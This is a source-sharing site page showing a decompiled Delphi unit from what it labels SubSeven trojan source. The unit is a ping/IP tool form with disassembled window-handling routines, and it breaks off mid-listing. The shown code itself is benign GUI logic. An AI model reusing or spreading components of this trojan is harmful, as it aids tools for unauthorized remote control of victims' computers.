开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
iptoolUnit.pas
资源名称：subseven_src.zip　[点击查看]
上传用户：gdszzsp
上传日期：2007-01-08
资源大小：621k
文件大小：55k
源码类别：

远程控制编程

开发平台：

Delphi

iptoolUnit.pas：源码内容
  1. unit iptoolUnit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, StdCtrls;
  9. type
  10.   TIPTool=class(TForm)
  11.     CaptionLabel: TLabel;
  12.     CloseButton: TFlatSpeedButton;
  13.     Label92: TLabel;
  14.     OutlookBtn117: TOutlookBtn;
  15.     OutlookBtn118: TOutlookBtn;
  16.     OutlookBtn119: TOutlookBtn;
  17.     Label93: TLabel;
  18.     OutlookBtn1: TOutlookBtn;
  19.     Label1: TLabel;
  20.     Label2: TLabel;
  21.     OutlookBtn2: TOutlookBtn;
  22.     FlatEdit32: TFlatEdit;
  23.     FlatEdit34: TFlatEdit;
  24.     DisplayMemo: TMemo;
  25.     FlatEdit1: TFlatEdit;
  26.     PingUtil: TPing;
  27.     procedure CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  28.     procedure CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  29.     procedure CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  30.     procedure CloseButtonClick(Sender: TObject);
  31.     procedure FormCreate(Sender: TObject);
  32.     procedure FormPaint(Sender: TObject);
  33.     procedure FormResize(Sender: TObject);
  34.     procedure OutlookBtn117Click(Sender: TObject);
  35.     procedure OutlookBtn118Click(Sender: TObject);
  36.     procedure OutlookBtn119Click(Sender: TObject);
  37.     procedure OutlookBtn1Click(Sender: TObject);
  38.     procedure OutlookBtn2Click(Sender: TObject);
  39.     procedure PingUtilDisplay(Sender: TObject);{?}
  40.     procedure PingUtilDnsLookupDone(Sender: TObject);{?}
  41.     procedure PingUtilEchoReply(Sender: TObject);{?}
  42.     procedure PingUtilEchoRequest(Sender: TObject);{?}
  43.   private
  44.     { Private declarations }
  45.   public
  46.     { Public declarations }
  47.   end ;
  49. var
  50.   IPTool: TIPTool;
  53. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  55. implementation
  57. {$R *.DFM}
  60. procedure TIPTool.CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  61. begin
  62. {
  63. 004E1BC8   55                     push    ebp
  64. 004E1BC9   8BEC                   mov     ebp, esp
  65. 004E1BCB   53                     push    ebx
  66. 004E1BCC   8BD8                   mov     ebx, eax
  67. 004E1BCE   8B83C4020000           mov     eax, [ebx+$02C4]
  68. 004E1BD4   8B4024                 mov     eax, [eax+$24]
  69. 004E1BD7   E800A9F5FF             call    0043C4DC
  70. 004E1BDC   50                     push    eax
  72. * Reference to: SHBrowseForFolderA.SetCapture
  73. |
  74. 004E1BDD   E8965CF2FF             call    00407878
  75. 004E1BE2   C7830C030000FFFFFFFF   mov     dword ptr [ebx+$030C], $FFFFFFFF
  76. 004E1BEC   8B450C                 mov     eax, [ebp+$0C]
  77. 004E1BEF   898304030000           mov     [ebx+$0304], eax
  78. 004E1BF5   8B4508                 mov     eax, [ebp+$08]
  79. 004E1BF8   898308030000           mov     [ebx+$0308], eax
  80. 004E1BFE   5B                     pop     ebx
  81. 004E1BFF   5D                     pop     ebp
  82. 004E1C00   C20C                   ret     $0C
  85. }
  86.  end ; 
  88. procedure TIPTool.CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  89. begin
  90. {
  91. 004E1C04   55                     push    ebp
  92. 004E1C05   8BEC                   mov     ebp, esp
  93. 004E1C07   53                     push    ebx
  94. 004E1C08   56                     push    esi
  95. 004E1C09   8BD8                   mov     ebx, eax
  96. 004E1C0B   83BB0C03000000         cmp     dword ptr [ebx+$030C], +$00
  97. 004E1C12   7433                   jz      004E1C47
  98. 004E1C14   8B83C4020000           mov     eax, [ebx+$02C4]
  99. 004E1C1A   8B7024                 mov     esi, [eax+$24]
  100. 004E1C1D   8B8304030000           mov     eax, [ebx+$0304]
  101. 004E1C23   2B450C                 sub     eax, dword ptr [ebp+$0C]
  102. 004E1C26   8B5630                 mov     edx, [esi+$30]
  103. 004E1C29   2BD0                   sub     edx, eax
  104. 004E1C2B   8BC6                   mov     eax, esi
  105. 004E1C2D   E87A42F5FF             call    00435EAC
  106. 004E1C32   8B8308030000           mov     eax, [ebx+$0308]
  107. 004E1C38   2B4508                 sub     eax, dword ptr [ebp+$08]
  108. 004E1C3B   8B5634                 mov     edx, [esi+$34]
  109. 004E1C3E   2BD0                   sub     edx, eax
  110. 004E1C40   8BC6                   mov     eax, esi
  111. 004E1C42   E88942F5FF             call    00435ED0
  112. 004E1C47   5E                     pop     esi
  113. 004E1C48   5B                     pop     ebx
  114. 004E1C49   5D                     pop     ebp
  115. 004E1C4A   C208                   ret     $08
  118. }
  119.  end ; 
  121. procedure TIPTool.CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  122. begin
  123. {
  124. 004E1C50   55                     push    ebp
  125. 004E1C51   8BEC                   mov     ebp, esp
  126. 004E1C53   53                     push    ebx
  127. 004E1C54   56                     push    esi
  128. 004E1C55   8BD8                   mov     ebx, eax
  129. 004E1C57   83BB0C03000000         cmp     dword ptr [ebx+$030C], +$00
  130. 004E1C5E   7440                   jz      004E1CA0
  131. 004E1C60   8B83C4020000           mov     eax, [ebx+$02C4]
  132. 004E1C66   8B7024                 mov     esi, [eax+$24]
  134. * Reference to: SHBrowseForFolderA.ReleaseCapture
  135. |
  136. 004E1C69   E8BA5BF2FF             call    00407828
  137. 004E1C6E   33C0                   xor     eax, eax
  138. 004E1C70   89830C030000           mov     [ebx+$030C], eax
  139. 004E1C76   8B8304030000           mov     eax, [ebx+$0304]
  140. 004E1C7C   2B450C                 sub     eax, dword ptr [ebp+$0C]
  141. 004E1C7F   8B5630                 mov     edx, [esi+$30]
  142. 004E1C82   2BD0                   sub     edx, eax
  143. 004E1C84   8BC6                   mov     eax, esi
  144. 004E1C86   E82142F5FF             call    00435EAC
  145. 004E1C8B   8B8308030000           mov     eax, [ebx+$0308]
  146. 004E1C91   2B4508                 sub     eax, dword ptr [ebp+$08]
  147. 004E1C94   8B5634                 mov     edx, [esi+$34]
  148. 004E1C97   2BD0                   sub     edx, eax
  149. 004E1C99   8BC6                   mov     eax, esi
  150. 004E1C9B   E83042F5FF             call    00435ED0
  151. 004E1CA0   5E                     pop     esi
  152. 004E1CA1   5B                     pop     ebx
  153. 004E1CA2   5D                     pop     ebp
  154. 004E1CA3   C20C                   ret     $0C
  157. }
  158.  end ; 
  160. procedure TIPTool.CloseButtonClick(Sender: TObject);
  161. begin
  162. {
  163. 004E1BC0   E8B7DEF6FF             call    0044FA7C
  164. 004E1BC5   C3                     ret
  167. }
  168.  end ; 
  170. procedure TIPTool.FormCreate(Sender: TObject);
  171. begin
  172. {
  173. 004E1A44   55                     push    ebp
  174. 004E1A45   8BEC                   mov     ebp, esp
  175. 004E1A47   6A00                   push    $00
  176. 004E1A49   6A00                   push    $00
  177. 004E1A4B   53                     push    ebx
  178. 004E1A4C   8BD8                   mov     ebx, eax
  179. 004E1A4E   33C0                   xor     eax, eax
  180. 004E1A50   55                     push    ebp
  181. 004E1A51   68991B4E00             push    $004E1B99
  183. ***** TRY
  184. |
  185. 004E1A56   64FF30                 push    dword ptr fs:[eax]
  186. 004E1A59   648920                 mov     fs:[eax], esp
  187. 004E1A5C   8BC3                   mov     eax, ebx
  188. 004E1A5E   E8B5FDFFFF             call    004E1818
  189. 004E1A63   C7430C0E000000         mov     dword ptr [ebx+$0C], $0000000E
  190. 004E1A6A   A1B44E5400             mov     eax, dword ptr [$544EB4]
  191. 004E1A6F   8B00                   mov     eax, [eax]
  192. 004E1A71   E856EFF6FF             call    004509CC
  193. 004E1A76   8BD0                   mov     edx, eax
  194. 004E1A78   2B5338                 sub     edx, dword ptr [ebx+$38]
  195. 004E1A7B   D1FA                   sar     edx, 1
  196. 004E1A7D   7903                   jns     004E1A82
  197. 004E1A7F   83D200                 adc     edx, +$00
  198. 004E1A82   8BC3                   mov     eax, ebx
  199. 004E1A84   E82344F5FF             call    00435EAC
  200. 004E1A89   A1B44E5400             mov     eax, dword ptr [$544EB4]
  201. 004E1A8E   8B00                   mov     eax, [eax]
  202. 004E1A90   E82BEFF6FF             call    004509C0
  203. 004E1A95   8BD0                   mov     edx, eax
  204. 004E1A97   2B533C                 sub     edx, dword ptr [ebx+$3C]
  205. 004E1A9A   D1FA                   sar     edx, 1
  206. 004E1A9C   7903                   jns     004E1AA1
  207. 004E1A9E   83D200                 adc     edx, +$00
  208. 004E1AA1   8BC3                   mov     eax, ebx
  209. 004E1AA3   E82844F5FF             call    00435ED0
  210. 004E1AA8   8D55F8                 lea     edx, [ebp-$08]
  211. 004E1AAB   8B430C                 mov     eax, [ebx+$0C]
  212. 004E1AAE   E8B973F2FF             call    00408E6C
  213. 004E1AB3   8D45F8                 lea     eax, [ebp-$08]
  215. * Possible String Reference to: "_x"
  216. |
  217. 004E1AB6   BAB01B4E00             mov     edx, $004E1BB0
  218. 004E1ABB   E82024F2FF             call    00403EE0
  219. 004E1AC0   8B55F8                 mov     edx, [ebp-$08]
  220. 004E1AC3   8D4DFC                 lea     ecx, [ebp-$04]
  221. 004E1AC6   A1DC495400             mov     eax, dword ptr [$5449DC]
  222. 004E1ACB   8B00                   mov     eax, [eax]
  223. 004E1ACD   E8A2110300             call    00512C74
  224. 004E1AD2   837DFC00               cmp     dword ptr [ebp-$04], +$00
  225. 004E1AD6   743B                   jz      004E1B13
  226. 004E1AD8   8D55F8                 lea     edx, [ebp-$08]
  227. 004E1ADB   8B430C                 mov     eax, [ebx+$0C]
  228. 004E1ADE   E88973F2FF             call    00408E6C
  229. 004E1AE3   8D45F8                 lea     eax, [ebp-$08]
  231. * Possible String Reference to: "_x"
  232. |
  233. 004E1AE6   BAB01B4E00             mov     edx, $004E1BB0
  234. 004E1AEB   E8F023F2FF             call    00403EE0
  235. 004E1AF0   8B55F8                 mov     edx, [ebp-$08]
  236. 004E1AF3   8D4DFC                 lea     ecx, [ebp-$04]
  237. 004E1AF6   A1DC495400             mov     eax, dword ptr [$5449DC]
  238. 004E1AFB   8B00                   mov     eax, [eax]
  239. 004E1AFD   E872110300             call    00512C74
  240. 004E1B02   8B45FC                 mov     eax, [ebp-$04]
  241. 004E1B05   E8C673F2FF             call    00408ED0
  242. 004E1B0A   8BD0                   mov     edx, eax
  243. 004E1B0C   8BC3                   mov     eax, ebx
  244. 004E1B0E   E89943F5FF             call    00435EAC
  245. 004E1B13   8D55F8                 lea     edx, [ebp-$08]
  246. 004E1B16   8B430C                 mov     eax, [ebx+$0C]
  247. 004E1B19   E84E73F2FF             call    00408E6C
  248. 004E1B1E   8D45F8                 lea     eax, [ebp-$08]
  250. * Possible String Reference to: "_y"
  251. |
  252. 004E1B21   BABC1B4E00             mov     edx, $004E1BBC
  253. 004E1B26   E8B523F2FF             call    00403EE0
  254. 004E1B2B   8B55F8                 mov     edx, [ebp-$08]
  255. 004E1B2E   8D4DFC                 lea     ecx, [ebp-$04]
  256. 004E1B31   A1DC495400             mov     eax, dword ptr [$5449DC]
  257. 004E1B36   8B00                   mov     eax, [eax]
  258. 004E1B38   E837110300             call    00512C74
  259. 004E1B3D   837DFC00               cmp     dword ptr [ebp-$04], +$00
  260. 004E1B41   743B                   jz      004E1B7E
  261. 004E1B43   8D55F8                 lea     edx, [ebp-$08]
  262. 004E1B46   8B430C                 mov     eax, [ebx+$0C]
  263. 004E1B49   E81E73F2FF             call    00408E6C
  264. 004E1B4E   8D45F8                 lea     eax, [ebp-$08]
  266. * Possible String Reference to: "_y"
  267. |
  268. 004E1B51   BABC1B4E00             mov     edx, $004E1BBC
  269. 004E1B56   E88523F2FF             call    00403EE0
  270. 004E1B5B   8B55F8                 mov     edx, [ebp-$08]
  271. 004E1B5E   8D4DFC                 lea     ecx, [ebp-$04]
  272. 004E1B61   A1DC495400             mov     eax, dword ptr [$5449DC]
  273. 004E1B66   8B00                   mov     eax, [eax]
  274. 004E1B68   E807110300             call    00512C74
  275. 004E1B6D   8B45FC                 mov     eax, [ebp-$04]
  276. 004E1B70   E85B73F2FF             call    00408ED0
  277. 004E1B75   8BD0                   mov     edx, eax
  278. 004E1B77   8BC3                   mov     eax, ebx
  279. 004E1B79   E85243F5FF             call    00435ED0
  280. 004E1B7E   33C0                   xor     eax, eax
  281. 004E1B80   5A                     pop     edx
  282. 004E1B81   59                     pop     ecx
  283. 004E1B82   59                     pop     ecx
  284. 004E1B83   648910                 mov     fs:[eax], edx
  286. ****** FINALLY
  287. |
  289. * Possible String Reference to: "[YY]